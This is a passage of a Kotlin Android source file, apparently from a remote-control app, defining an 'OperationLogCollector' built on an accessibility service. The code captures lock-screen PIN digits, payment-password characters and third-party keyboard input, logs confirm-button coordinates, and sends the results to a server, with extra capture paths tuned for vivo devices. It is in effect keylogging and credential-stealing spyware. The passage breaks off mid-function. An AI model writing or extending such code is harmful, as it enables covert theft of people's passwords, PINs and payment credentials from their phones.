Files
and-bak/app/src/main/java/com/hikoncont/OperationLogCollector.kt
2026-02-11 16:59:49 +08:00

4376 lines
192 KiB
Kotlin
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package com.hikoncont
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.graphics.Path
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.network.SocketIOManager
import kotlinx.coroutines.*
import org.json.JSONObject
import kotlin.random.Random
/**
* 操作日志收集器
* 负责收集设备操作日志并发送到服务器
*/
class OperationLogCollector(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "OperationLogCollector"
// ✅ 添加程序化输入状态跟踪
var isProgrammaticInputActive = false
var lastProgrammaticInputTime = 0L
// ✅ vivo设备检测和优化参数
private val isVivoDevice: Boolean by lazy {
val brand = android.os.Build.BRAND?.lowercase() ?: ""
val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
val model = android.os.Build.MODEL?.lowercase() ?: ""
val isVivo = brand.contains("vivo") || manufacturer.contains("vivo") ||
brand.contains("iqoo") || manufacturer.contains("iqoo") ||
model.contains("vivo") || model.contains("iqoo")
if (isVivo) {
android.util.Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
android.util.Log.i(TAG, "📱 vivo设备将使用优化的数字密码记录策略")
}
isVivo
}
// ✅ vivo设备专用参数
private val vivoOptimizedProgrammaticDetectionWindow = 500L // vivo设备程序化检测窗口缩短为500ms
private val vivoOptimizedDuplicateWindow = 100L // vivo设备重复过滤窗口缩短为100ms
private val vivoOptimizedReconstructionWindow = 50L // vivo设备重构去重窗口缩短为50ms
// ✅ 新增TEXT_DETECTED去重和频率控制
private val textDetectedCache = mutableMapOf<String, Long>() // 文本内容 -> 最后记录时间
private val packageTextCache = mutableMapOf<String, MutableSet<String>>() // 包名 -> 已记录的文本集合
private const val TEXT_DETECTED_COOLDOWN = 5000L // 相同文本5秒内不重复记录
private const val MAX_TEXT_DETECTED_PER_PACKAGE = 100 // 每个包最多记录100个不同文本
private var lastTextDetectedCleanup = 0L
private const val CACHE_CLEANUP_INTERVAL = 30000L // 30秒清理一次缓存
// ✅ 新增TEXT_DETECTED统计信息
private var textDetectedTotalCount = 0L // 总检测到的文本数量
private var textDetectedRecordedCount = 0L // 实际记录的文本数量
private var textDetectedFilteredCount = 0L // 被过滤的文本数量
}
// 🔕 WebView页面降载进入本应用的WebView页面时暂停无障碍事件处理以降低开销
@Volatile
private var pauseAccessibilityForWebView: Boolean = false
private val logScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var isLogging = false
// ✅ 高频事件去抖减少无障碍高频事件造成的日志与CPU压力
private var lastWindowContentChangedLogTime = 0L
private var lastTextChangedLogTime = 0L
// 🚀 移除 WebView 检测功能,简化代码
init {
// ✅ 初始化时输出TEXT_DETECTED优化信息
Log.i(TAG, "🚀 OperationLogCollector初始化完成")
Log.i(TAG, "📝 TEXT_DETECTED优化已启用:")
Log.i(TAG, " - 重复文本去重: ✅ (${TEXT_DETECTED_COOLDOWN}ms冷却)")
Log.i(TAG, " - 明显无意义文本过滤: ✅ (保守策略)")
Log.i(TAG, " - 包文本数量限制: ✅ (每包最多${MAX_TEXT_DETECTED_PER_PACKAGE}个)")
Log.i(TAG, " - 定期缓存清理: ✅ (${CACHE_CLEANUP_INTERVAL}ms周期)")
Log.i(TAG, " - 统计报告: ✅")
}
// 用于去重的最近操作记录
private var lastAppEvent: String? = null
private var lastAppEventTime: Long = 0
private val deduplicateWindow = 2000L // 2秒内的重复事件去重
// 密码输入相关状态跟踪
private var isPasswordInputActive = false
private var passwordInputStartTime = 0L
private var passwordInputEvents = mutableListOf<Map<String, Any>>()
private var lastPasswordEventTime = 0L
private var currentPasswordLength = 0
private val passwordInputTimeout = 5000L // 5秒内的输入认为是同一个密码输入过程
// ✅ 确认按钮坐标捕获相关状态
private var isAwaitingConfirmClick = false
private var confirmClickStartTime = 0L
private var lastConfirmClickCoordinate: Pair<Float, Float>? = null
private val confirmClickTimeout = 5000L // 5秒超时
// ✅ 数字密码序列记录
private val numericPasswordSequence = mutableListOf<Map<String, Any>>()
// ✅ 数字0检测标志 - 一旦检测到0就确定是数字密码
private var hasDetectedZero = false
// ✅ 新增:防止重复分析的锁
private var isPasswordAnalyzing = false
private var lastPasswordAnalysisTime = 0L
private val passwordAnalysisLockTimeout = 3000L // 3秒内不重复分析
// ✅ 增强检测的安全开关
private var isEnhancedDetectionMode = false
private var enhancedDetectionStartTime = 0L
private val enhancedDetectionTimeout = 30000L // 30秒后自动关闭增强模式
// ✅ vivo设备专用密码捕获优化
private val vivoExtractedChars = mutableListOf<String>() // vivo设备捕获的明文字符
private var vivoLastCaptureTime = 0L // vivo设备最后捕获时间
private val vivoCaptureWindow = 100L // vivo设备捕获窗口100ms
private var vivoPasswordBuffer = "" // vivo设备密码缓冲区
private val vivoActiveScanning = mutableSetOf<String>() // vivo设备正在扫描的包名
// 🔧 新增:批量日志发送配置,避免与屏幕数据传输冲突
private val logSendBuffer = mutableListOf<JSONObject>()
private val logSendDelay = 1000L // 1秒延迟发送避免与控制命令同时传输
private var lastLogSendTime = 0L
private var logSendJob: kotlinx.coroutines.Job? = null
/**
* 开始日志收集
*/
fun startLogging() {
isLogging = true
Log.i(TAG, "🔍 开始收集操作日志")
}
// 🚀 移除 WebView 模式设置功能
/**
* 停止日志收集
*/
fun stopLogging() {
isLogging = false
Log.i(TAG, "⏹️ 停止收集操作日志")
}
/**
* 记录操作日志
*/
fun recordLog(logType: String, content: String, extraData: Map<String, Any>?) {
if (!isLogging) return
// ✅ 特别关注密码分析相关的日志
if (logType == "TEXT_INPUT" && (content.contains("密码") || content.contains("🔒") || extraData?.get("isPasswordCapture") == true)) {
Log.d(TAG, "🔒 [密码分析] 发送密码分析日志到服务器: $logType - $content")
Log.d(TAG, "🔒 [密码分析] 额外数据: ${extraData?.keys?.joinToString(", ")}")
}
if (logType == "TEXT_DETECTED"){
//不要這個數據,沒用
return
}
logScope.launch {
try {
sendLogToServer(logType, content, extraData)
} catch (e: Exception) {
Log.e(TAG, "❌ 发送日志失败: $content", e)
}
}
}
/**
* 处理无障碍事件(用于检测应用切换等)
*/
fun handleAccessibilityEvent(event: AccessibilityEvent) {
if (!isLogging) {
Log.d(TAG, "🚫 日志记录未启用,跳过事件处理")
return
}
// try {
// val pkg = event.packageName?.toString() ?: ""
// val cls = event.className?.toString() ?: ""
// val isOurApp = pkg == service.packageName
// val isWebViewClass = cls.contains("WebView", ignoreCase = true) || cls == "android.webkit.WebView"
// if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
// if (isOurApp && isWebViewClass) {
// pauseAccessibilityForWebView = true
// } else if (!isWebViewClass) {
// pauseAccessibilityForWebView = false
// }
// }
// if (pauseAccessibilityForWebView && isOurApp) {
// return
// }
// } catch (_: Exception) { }
val type = event.eventType
val now = System.currentTimeMillis()
// 去抖:窗口内容变化 500ms 内只处理一次日志
if (type == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
if (now - lastWindowContentChangedLogTime < 500L) {
// 仍然允许后续逻辑处理,但避免高频日志打印(此处直接返回可进一步降噪)
return
}
lastWindowContentChangedLogTime = now
}
// 去抖:文本变化 200ms 内只处理一次日志
if (type == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
if (now - lastTextChangedLogTime < 200L) {
return
}
lastTextChangedLogTime = now
}
// 仅对关键事件保留详细日志
val isCriticalEvent = (type == AccessibilityEvent.TYPE_VIEW_CLICKED
|| type == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED)
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val eventTypeString = if (isCriticalEvent) eventTypeToString(type) else ""
if (isCriticalEvent) {
Log.d(TAG, "🔍 [事件监控] 处理无障碍事件: 类型=$eventTypeString($type), 包名=$packageName, 类名=$className")
}
// ✅ 检查是否为输入法相关包名
val isInputMethodPackage = packageName.lowercase().let { pkg ->
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
pkg.contains("baidu") || pkg.contains("iflytek")
}
// ✅ 特别关注第三方应用和输入法的事件
if (isCriticalEvent && !packageName.contains("systemui", ignoreCase = true)) {
val eventText = event.text?.joinToString("") ?: ""
val contentDesc = event.contentDescription?.toString() ?: ""
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
when (type) {
AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
Log.i(TAG, "🎯 [$appType] 焦点事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
}
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
Log.i(TAG, "📝 [$appType] 文本变化事件: 包名=$packageName, 类名=$className, 文本='$eventText'")
}
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
Log.i(TAG, "👆 [$appType] 点击事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
analyzeClickedElement(event, packageName, className, eventText, contentDesc)
}
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
Log.i(TAG, "👆 [$appType] 触摸开始事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
}
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
Log.i(TAG, "👆 [$appType] 触摸结束事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
}
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
if (eventText.isNotEmpty() || contentDesc.isNotEmpty()) {
Log.v(TAG, "🔄 [$appType] 窗口内容变化: 包名=$packageName, 文本='$eventText', 描述='$contentDesc'")
}
}
}
}
try {
if (isCriticalEvent && packageName.contains("systemui", ignoreCase = true)) {
Log.d(TAG, "🔍 SystemUI事件: 类型=${event.eventType}, 类名=$className, 包名=$packageName")
}
when (event.eventType) {
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
handleWindowStateChanged(event)
}
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
Log.d(TAG, "🔍 [密码分析] 处理点击事件 - 可能包含数字密码分析")
handleViewClicked(event)
}
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
Log.d(TAG, "🔍 [密码分析] 处理文本变化事件 - 核心密码输入检测")
handleTextChanged(event)
}
AccessibilityEvent.TYPE_VIEW_SCROLLED -> {
handleViewScrolled(event)
}
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
handleTouchStart(event)
}
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
handleTouchEnd(event)
}
AccessibilityEvent.TYPE_VIEW_SELECTED -> {
handleViewSelected(event)
}
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {
handleEnhancedWindowContentChanged(event)
// ✅ vivo设备额外密码捕获机会
if (isVivoDevice && isPasswordField(event)) {
val text = event.text?.joinToString("") ?: ""
val beforeText = event.beforeText?.toString() ?: ""
if (text.isNotEmpty()) {
Log.d(TAG, "📱 [vivo额外捕获] WINDOW_CONTENT_CHANGED密码事件: '$text'")
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
}
}
}
AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> {
handleTextSelectionChanged(event)
// ✅ vivo设备额外密码捕获机会
if (isVivoDevice && isPasswordField(event)) {
val text = event.text?.joinToString("") ?: ""
val beforeText = event.beforeText?.toString() ?: ""
if (text.isNotEmpty()) {
Log.d(TAG, "📱 [vivo额外捕获] TEXT_SELECTION_CHANGED密码事件: '$text'")
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
}
}
}
AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
handleViewFocused(event)
}
// ✅ 新增:添加更多事件类型的监听
AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> {
handleViewLongClicked(event)
}
AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> {
handleViewHover(event, "HOVER_ENTER")
}
AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> {
handleViewHover(event, "HOVER_EXIT")
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 处理无障碍事件失败", e)
}
}
/**
* 将事件类型转换为可读字符串
*/
private fun eventTypeToString(eventType: Int): String {
return when (eventType) {
AccessibilityEvent.TYPE_VIEW_CLICKED -> "VIEW_CLICKED"
AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> "VIEW_LONG_CLICKED"
AccessibilityEvent.TYPE_VIEW_SELECTED -> "VIEW_SELECTED"
AccessibilityEvent.TYPE_VIEW_FOCUSED -> "VIEW_FOCUSED"
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "VIEW_TEXT_CHANGED"
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> "WINDOW_STATE_CHANGED"
AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> "NOTIFICATION_STATE_CHANGED"
AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> "VIEW_HOVER_ENTER"
AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> "VIEW_HOVER_EXIT"
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START -> "TOUCH_EXPLORATION_GESTURE_START"
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END -> "TOUCH_EXPLORATION_GESTURE_END"
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> "WINDOW_CONTENT_CHANGED"
AccessibilityEvent.TYPE_VIEW_SCROLLED -> "VIEW_SCROLLED"
AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> "VIEW_TEXT_SELECTION_CHANGED"
AccessibilityEvent.TYPE_ANNOUNCEMENT -> "ANNOUNCEMENT"
AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED -> "VIEW_ACCESSIBILITY_FOCUSED"
AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED -> "VIEW_ACCESSIBILITY_FOCUSED"
AccessibilityEvent.TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY -> "VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY"
AccessibilityEvent.TYPE_GESTURE_DETECTION_START -> "GESTURE_DETECTION_START"
AccessibilityEvent.TYPE_GESTURE_DETECTION_END -> "GESTURE_DETECTION_END"
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> "TOUCH_INTERACTION_START"
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> "TOUCH_INTERACTION_END"
else -> "UNKNOWN_$eventType"
}
}
/**
* 处理窗口状态变化(应用切换)
*/
private fun handleWindowStateChanged(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: return
val className = event.className?.toString() ?: return
// 去重:避免重复记录相同应用
val currentEvent = "$packageName|$className"
val currentTime = System.currentTimeMillis()
if (currentEvent == lastAppEvent && (currentTime - lastAppEventTime) < deduplicateWindow) {
return
}
lastAppEvent = currentEvent
lastAppEventTime = currentTime
// 获取应用名称
val appName = getAppName(packageName) ?: packageName
logScope.launch {
recordLog(
"APP_OPENED",
"打开应用: $appName",
mapOf(
"packageName" to packageName,
"className" to className,
"appName" to appName
)
)
}
}
/**
* 处理点击事件 - 增强密码场景处理和确认按钮坐标捕获
*/
private fun handleViewClicked(event: AccessibilityEvent) {
val text = event.text?.joinToString(" ") ?: ""
val className = event.className?.toString() ?: ""
val packageName = event.packageName?.toString() ?: ""
val contentDescription = event.contentDescription?.toString() ?: ""
// ✅ 安全的增强检测:只在密码输入场景激活
if (shouldUseEnhancedDetection(packageName, className, text, contentDescription)) {
val eventText = event.text?.joinToString("") ?: ""
val contentDesc = event.contentDescription?.toString() ?: ""
// 强化第三方应用键盘检测(仅在增强模式下)
val isLikelyKeyboardClick = detectKeyboardClick(packageName, className, eventText, contentDesc)
if (isLikelyKeyboardClick) {
val detectedChar = extractKeyboardCharacter(eventText, contentDesc, className)
if (detectedChar.isNotEmpty()) {
Log.w(TAG, "🚨 [增强模式] 键盘输入检测: '$detectedChar' from $packageName")
// 立即记录键盘字符
logScope.launch {
recordLog(
"ENHANCED_KEYBOARD_CLICK",
"增强键盘检测: $detectedChar",
mapOf(
"character" to detectedChar,
"packageName" to packageName,
"className" to className,
"originalText" to eventText,
"contentDescription" to contentDesc,
"detectionMethod" to "enhanced_click_detection",
"enhancedMode" to true
)
)
}
// 如果是数字,添加到数字序列
if (detectedChar.matches(Regex("[0-9]"))) {
val currentTime = System.currentTimeMillis()
numericPasswordSequence.add(mapOf(
"digit" to detectedChar,
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "enhanced_click_detection"
))
Log.w(TAG, "🔢 [增强模式] 数字序列添加: $detectedChar (总计: ${numericPasswordSequence.size})")
}
}
}
}
// ✅ 检查是否为等待中的确认按钮点击
val currentTime = System.currentTimeMillis()
if (isAwaitingConfirmClick && (currentTime - confirmClickStartTime) <= confirmClickTimeout) {
// 检查是否是确认按钮点击
if (isPossibleConfirmButton(text, contentDescription, className)) {
// 尝试获取点击坐标
val coordinates = extractClickCoordinates(event)
if (coordinates != null) {
lastConfirmClickCoordinate = coordinates
Log.d(TAG, "✅ 捕获到确认按钮点击坐标: (${coordinates.first}, ${coordinates.second})")
isAwaitingConfirmClick = false
}
}
}
// 检测特殊点击场景
val isKeyboardKey = isVirtualKeyboard(packageName, className)
val isFingerprintSensor = isFingerprintSensor(contentDescription, className)
// ✅ 处理数字键盘点击 - 记录数字序列用于密码重构
// ✅ 增强数字键检测:支持带字母格式(如"PQRS 7", "MNO 6"
val extractedDigit = extractDigitFromText(text)
val isNumericKey = extractedDigit != null
// ✅ 修复SystemUI的数字键盘不依赖isKeyboardKey判断
val isNumericKeypad = isNumericKey && (
isKeyboardKey || // 传统键盘
packageName.contains("systemui", ignoreCase = true) || // SystemUI锁屏键盘
className.contains("numpad", ignoreCase = true) ||
className.contains("numeric", ignoreCase = true) ||
className.contains("keypad", ignoreCase = true)
)
// ✅ 增强:第三方应用的键盘字符检测 - 更宽泛的检测条件
val isThirdPartyKeyboardInput = !packageName.contains("systemui", ignoreCase = true) && (
// 方法1基于文本内容
(text.length == 1 && text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]"))) ||
// 方法2基于提取的字符
extractedDigit != null ||
// 方法3基于类名特征
(isKeyboardKey || className.lowercase().let { cls ->
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
cls.contains("digit") || cls.contains("char")
}) ||
// 方法4基于内容描述特征
contentDescription.lowercase().let { desc ->
desc.contains("key") || desc.contains("按键") || desc.contains("") ||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
desc.matches(Regex(".*[0-9a-zA-Z].*"))
}
)
Log.i(TAG, "🔍 [密码分析] 数字键检测: text='$text', isNumericKey=$isNumericKey, isNumericKeypad=$isNumericKeypad, isKeyboardKey=$isKeyboardKey")
Log.i(TAG, "🔍 [密码分析] 第三方键盘: isThirdPartyKeyboardInput=$isThirdPartyKeyboardInput")
Log.i(TAG, "🔍 [密码分析] 事件上下文: 包名=$packageName, 类名=$className")
// ✅ 新增:处理第三方应用的键盘输入
if (isThirdPartyKeyboardInput) {
val inputCharacter = extractedDigit ?: text.take(1)
Log.i(TAG, "⌨️ [第三方键盘] 检测到键盘字符输入: '$inputCharacter' (原始: '$text') 来自包名=$packageName")
Log.i(TAG, "⌨️ [第三方键盘] 检测条件: 文本='$text', 类名=$className, 描述='$contentDescription'")
// 记录第三方应用的键盘输入
logScope.launch {
recordLog(
"THIRD_PARTY_KEYBOARD_INPUT",
"第三方应用键盘输入: $inputCharacter",
mapOf(
"character" to inputCharacter,
"originalText" to text,
"contentDescription" to contentDescription,
"className" to className,
"packageName" to packageName,
"isNumeric" to (extractedDigit != null),
"isKeyboardKey" to isKeyboardKey,
"eventType" to "KEYBOARD_CHARACTER",
"source" to "third_party_app",
"detectionMethod" to "click_event_analysis"
)
)
}
// ✅ 额外的强化记录 - 确保不会被遗漏
Log.w(TAG, "🚨 [强化记录] 第三方键盘输入确认: '$inputCharacter' from $packageName")
}
// ✅ 修复:只有在程序化输入时才使用特殊的数字密码处理
if (isNumericKey && isNumericKeypad) {
// 检查是否是程序化输入
val isProgrammaticInput = isCurrentlyExecutingNumericPasswordInput()
if (isProgrammaticInput) {
Log.w(TAG, "🔢 [程序化输入] 检测到程序化数字键点击: $text - 使用专用处理")
// 程序化输入使用专用的密码输入处理
handlePasswordInput(event, text, "", currentTime)
return // 程序化输入直接返回,不进行后续处理
} else {
Log.w(TAG, "🔢 [用户输入] 检测到用户数字键点击: $text - 使用正常流程")
// ✅ 修复对于锁屏页面的用户真实数字输入只记录数字序列不调用handlePasswordInput
if (packageName.contains("systemui", ignoreCase = true)) {
Log.i(TAG, "🔢 [锁屏数字输入] 检测到锁屏页面用户数字输入: $text")
// ✅ 修复:记录数字到序列中,但避免重复记录
val digitToRecord = extractedDigit ?: text
// 检查是否与最近的记录重复(时间窗口内的相同数字)
val lastRecord = numericPasswordSequence.lastOrNull()
val lastDigit = lastRecord?.get("digit") as? String
val lastTimestamp = lastRecord?.get("timestamp") as? Long ?: 0L
val timeDiff = currentTime - lastTimestamp
// ✅ vivo设备使用优化的重复过滤窗口减少误过滤
val duplicateWindow = if (isVivoDevice) {
vivoOptimizedDuplicateWindow // vivo设备: 100ms
} else {
200L // 其他设备: 200ms
}
val isDuplicate = lastDigit == digitToRecord && timeDiff < duplicateWindow
if (!isDuplicate) {
numericPasswordSequence.add(mapOf(
"digit" to digitToRecord,
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "user_click",
"originalText" to text // 保留原始文本用于调试
))
Log.i(TAG, "🔢 [锁屏数字输入] 已记录用户数字输入: $digitToRecord (原始: $text), 当前序列长度: ${numericPasswordSequence.size}")
if (isVivoDevice) {
Log.d(TAG, "📱 [vivo优化] 使用优化重复过滤窗口: ${duplicateWindow}ms")
}
} else {
Log.d(TAG, "🔢 [锁屏数字输入] 跳过重复数字: $digitToRecord (时间差: ${timeDiff}ms, 过滤窗口: ${duplicateWindow}ms)")
}
// 检测到数字0立即标记
if (digitToRecord == "0") {
hasDetectedZero = true
Log.d(TAG, "⚡ 用户输入检测到数字0切换模式: hasDetectedZero = true")
}
// ✅ 修复删除handlePasswordInput调用避免重复处理
// 密码分析将完全由真实的文本变化事件触发,避免模拟事件和重复处理
}
}
}
// ✅ 优化数字键盘点击记录
if (text.isNotEmpty() || className.isNotEmpty() || isKeyboardKey || isFingerprintSensor) {
// ✅ 使用相同的增强数字检测逻辑
val logExtractedDigit = extractDigitFromText(text)
val isNumericKey = logExtractedDigit != null
val isNumericKeypad = isKeyboardKey && (className.contains("numpad", ignoreCase = true) ||
className.contains("numeric", ignoreCase = true) ||
packageName.contains("systemui", ignoreCase = true))
val logContent = when {
isFingerprintSensor -> "指纹识别操作"
isNumericKey && isNumericKeypad -> {
val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
"$logExtractedDigit (原始: $text)"
} else {
logExtractedDigit ?: text
}
"🔢 数字密码键盘点击: $displayText"
}
isNumericKey -> {
val displayText = if (logExtractedDigit != null && logExtractedDigit != text) {
"$logExtractedDigit (原始: $text)"
} else {
logExtractedDigit ?: text
}
"🔢 数字键点击: $displayText"
}
isKeyboardKey -> "虚拟键盘输入: ${if (text.isNotEmpty()) text else "特殊键"}"
text.isNotEmpty() -> "点击控件: $text"
else -> "点击控件 ($className)"
}
logScope.launch {
val extraData = mutableMapOf<String, Any>(
"text" to text,
"className" to className,
"packageName" to packageName,
"contentDescription" to contentDescription,
"isKeyboardKey" to isKeyboardKey,
"isNumericKey" to isNumericKey,
"isNumericKeypad" to isNumericKeypad,
"isFingerprintSensor" to isFingerprintSensor
)
if (isNumericKey) {
extraData["digitValue"] = logExtractedDigit ?: text
if (logExtractedDigit != null && logExtractedDigit != text) {
extraData["originalText"] = text
}
}
recordLog(
"CLICK",
logContent,
extraData
)
}
}
}
/**
* ✅ 增强版:检查是否为可能的确认按钮
*/
private fun isPossibleConfirmButton(text: String, contentDescription: String, className: String): Boolean {
val confirmKeywords = arrayOf(
// 中文确认关键词
"确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "进入",
"好的", "同意", "允许", "授权", "开始", "立即", "确认密码", "确认解锁",
// 英文确认关键词
"ok", "done", "confirm", "submit", "enter", "go", "next", "continue",
"login", "unlock", "agree", "allow", "start", "begin", "sign in", "log in",
// 符号类确认
"", "", "", "", "", ""
)
// 排除关键词(避免误判)
val excludeKeywords = arrayOf(
"取消", "cancel", "back", "返回", "删除", "delete", "clear", "重置", "reset",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // 排除数字键盘
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" // 排除字母键盘
)
val textLower = text.lowercase().trim()
val descLower = contentDescription.lowercase().trim()
val classLower = className.lowercase()
// ✅ 先检查排除条件
for (exclude in excludeKeywords) {
if (textLower == exclude || descLower == exclude) {
Log.d(TAG, "🚫 排除按钮: '$text' (匹配排除关键词: $exclude)")
return false
}
}
// ✅ 检查确认关键词
for (keyword in confirmKeywords) {
if (textLower.contains(keyword) || descLower.contains(keyword)) {
Log.d(TAG, "✅ 确认按钮匹配关键词: '$text' / '$contentDescription' (关键词: $keyword)")
return true
}
}
// ✅ 检查是否为按钮类控件(更严格的条件)
val isButtonLikeControl = classLower.contains("button") ||
classLower.contains("imagebutton") ||
(classLower.contains("imageview") && (text.isNotEmpty() || contentDescription.isNotEmpty())) ||
(classLower.contains("textview") && text.isNotEmpty() && text.length <= 10) // 限制文本长度,避免长文本
// ✅ 如果是按钮类控件,但没有明确的确认文字,进行进一步检查
if (isButtonLikeControl) {
// 如果是空文本的按钮,可能是图标按钮
if (text.isEmpty() && contentDescription.isEmpty()) {
Log.d(TAG, "🤔 可能的图标确认按钮: 类名=$className")
return true
}
// 如果有简短的文本,可能是确认按钮
if (text.isNotEmpty() && text.length <= 6 && !text.matches(Regex("\\d+"))) {
Log.d(TAG, "✅ 可能的文本确认按钮: '$text'")
return true
}
}
Log.d(TAG, "❌ 不是确认按钮: '$text' / '$contentDescription' / '$className'")
return false
}
/**
* ✅ 新增:尝试从事件中提取点击坐标
*/
private fun extractClickCoordinates(event: AccessibilityEvent): Pair<Float, Float>? {
try {
// 从事件源节点获取屏幕坐标
val source = event.source
if (source != null) {
val rect = android.graphics.Rect()
source.getBoundsInScreen(rect)
// 返回控件中心点坐标
val centerX = (rect.left + rect.right) / 2.0f
val centerY = (rect.top + rect.bottom) / 2.0f
source.recycle()
return Pair(centerX, centerY)
}
} catch (e: Exception) {
Log.w(TAG, "提取点击坐标失败", e)
}
return null
}
/**
* 处理文本变化事件 - 增强密码输入分析
*/
private fun handleTextChanged(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val text = event.text?.joinToString("") ?: ""
val beforeText = event.beforeText?.toString() ?: ""
// ✅ 智能检测密码输入场景并启用增强模式
val isPotentialPasswordScenario = detectPasswordScenario(packageName, className, text, beforeText)
if (isPotentialPasswordScenario && !isEnhancedDetectionMode) {
activateEnhancedDetection("密码场景检测")
}
// ✅ vivo设备专用快速密码捕获优化
if (isVivoDevice && isPotentialPasswordScenario) {
handleVivoPasswordCapture(event, text, beforeText, packageName, className)
}
// ✅ 安全的增强文本变化监控:只在增强模式且明确的密码场景下
if (isEnhancedDetectionMode && isPotentialPasswordScenario) {
Log.w(TAG, "🔍 [增强模式] 文本变化监控: 包名: $packageName")
Log.w(TAG, " 当前文本: '$text' (长度: ${text.length})")
Log.w(TAG, " 之前文本: '$beforeText' (长度: ${beforeText.length})")
// 特别关注支付密码场景
if (isPaymentPasswordScenario(packageName, className, text)) {
Log.w(TAG, "🚨 [支付密码] 检测到支付密码输入场景")
// 分析文本变化模式
val textLengthIncreased = text.length > beforeText.length
val isNewCharacter = textLengthIncreased && (text.length - beforeText.length) == 1
// 如果是新增单个字符
if (isNewCharacter) {
val newChar = text.takeLast(1)
Log.w(TAG, "🚨 [支付密码] 检测到新字符: '$newChar'")
// 立即记录新增的字符
logScope.launch {
recordLog(
"PAYMENT_PASSWORD_CHANGE",
"支付密码新增: $newChar",
mapOf(
"newCharacter" to newChar,
"fullText" to text,
"previousText" to beforeText,
"packageName" to packageName,
"className" to className,
"detectionMethod" to "enhanced_text_analysis",
"enhancedMode" to true
)
)
}
// 如果是数字,添加到序列
if (newChar.matches(Regex("[0-9]"))) {
val currentTime = System.currentTimeMillis()
numericPasswordSequence.add(mapOf(
"digit" to newChar,
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "enhanced_payment_text_change"
))
